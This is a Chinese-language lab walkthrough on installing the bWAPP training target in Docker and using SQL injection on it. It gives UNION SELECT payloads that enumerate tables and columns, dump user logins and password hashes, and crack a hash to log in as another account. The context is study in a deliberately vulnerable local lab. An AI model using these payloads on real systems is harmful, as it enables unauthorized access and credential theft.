docker安装靶场环境bWAPP以及SQL注入拿到用户密码登陆系统
一:docker安装靶场环境bWAPP
//1.拉取镜像
docker pull raesene/bwapp
//2.运行镜像20008是映射到本地端口,自己随意一般10000-50000的端口计算机默认不使用,选取这个区间的端口更合适点--restart=always 也可以去掉,随意
docker run --name bwapp -d -p 20008:80 --restart=always raesene/bwapp
(1)第一次访问,需要初始化数据库,如图点击即可完成数据库的初始化
http://localhost:20008/install.php
(2)初始化成功,成功之后访问:http://localhost:20008/
(3)根据默认账号登陆
user:bee
password:bug
(4)登陆成功之后
右上角选择当前的的漏洞:
我这里选择的是sql 搜索注入漏洞,然后点击hack即可
二:攻击学习:
(1)第一步可以填写信息的并且回显的,我们输入’这个单引号,然后查询。看是否会有sql报错,如果有,99.9%则有sql注入漏洞。
他这个直接错误信息都显示在了前端,并且我们还知道他这个是MySQL数据库了。不然我们需要f12然后network去看发起的请求。看对应的response。
(2)确定有sql注入漏洞,想办法拿到隐藏信息,
通过写查询条件测试,输入框里面拼接的是movie的title来进行搜索的,那么我加入恒等式 or 1=1即可拿到所有的信息。
猜想他的后台sql
select * from table_name where title = ''
那么我这样输入信息即可
G' or 1 =1 #
或者-- (-- 空格也是注释)
G' or 1 =1 --
select * from table_name where title = 'G' or 1 =1 # '
发现与什么都不填写的数据都是十条,那没事了。准备思考如何拿到用户表
(3)想办法拿到数据库的所有表,的用户表的用户名和密码,重点就是user,password.
select * from table_name where title = 'G' or 1 =1 # '
database(),version(),user(),函数可以拿到当前的数据库,版本号,用户。
G' or 1 =1 #
G' union select 1,2,3,4,5 #
(4)测试union select 1,2,3,4,5 …n,直到能正常回显数据。
测试n为7
G' union select 1,2,3,4,5,6,7 #
(5)正常显示之后,则将对应的函数替换为上述的1—N的column。
比如
G' union select database(),version(),user(),4,5,6,7 #
(6)但是database没有正常显示,说明这个不是一个字符串类型,不能直接这样显示,那么换成另外一个字段来显示
比如
G' union select 1,version(),user(),database(),5,6,7 #
如图正常显示了数据库名字bWAPP,版本号5.5.47-0ubuntu0.14.04.1,user:root@localhost,由于是靶场环境,所以是localhost,如果是服务器,这里应该是数据库服务器的ip地址:
(7)那么现在可以拿到这个数据库里面的所有表
G' union select table_name from information_schema.tables where table_schema ='bWAPP' #
select table_name from information_schema.tables where table_schema ='bWAPP'
select * from select * from A where title = ' G' union select 1,version(),user(),database(),table_name,6,7 from information_schema.tables where table_schema=database() #
//也可以直接使用database()
G' union select 1,version(),user(),database(),table_name,6,7 from information_schema.tables where table_schema=database() #
可以拿到所有的table:blog,heroes,movies,users,visitors.
字面意思我们需要users表里面的所有字段
(8) 拿到users表里面的所有字段;将上述的sql的table_name,以及information_schema.tables 换成column_name和information_schema.columns即可
select * from select * from A where title = ' G' union select 1,version(),user(),database(),column_name,6,7 from information_schema.columns where table_schema='users' #
G' union select 1,version(),user(),database(),column_name,6,7 from information_schema.columns where table_schema='users' #
(9) 以上字段分析觉得 id ,login,user_agent,admin(由于默认给的账号是bee/bug)我认为这个admin可能是判断是否是管理员权限的字段,并不是登陆id。密码就是字面意思password字段。
G' union select 1,id,login,user_agent,password,6,7 from users #
这里我不明白为什么user_agent字段不存在
暂时去掉user_agent
G' union select 1,id,login,4,password,6,7 from users #
结果如下,id应该是自增主键,login是登陆的用户id
1 A.I.M. 6885858486f31043e5839c735d99457f045affd0 4 Link
2 bee 6885858486f31043e5839c735d99457f045affd0 4 Link
密码可以看出是加密的,并且2个密码一样,我们可以知道是bug,
我们可以去md5.com去撞库
(10)使用账号A.I.M. 密码为bug登录系统
A.I.M.
bug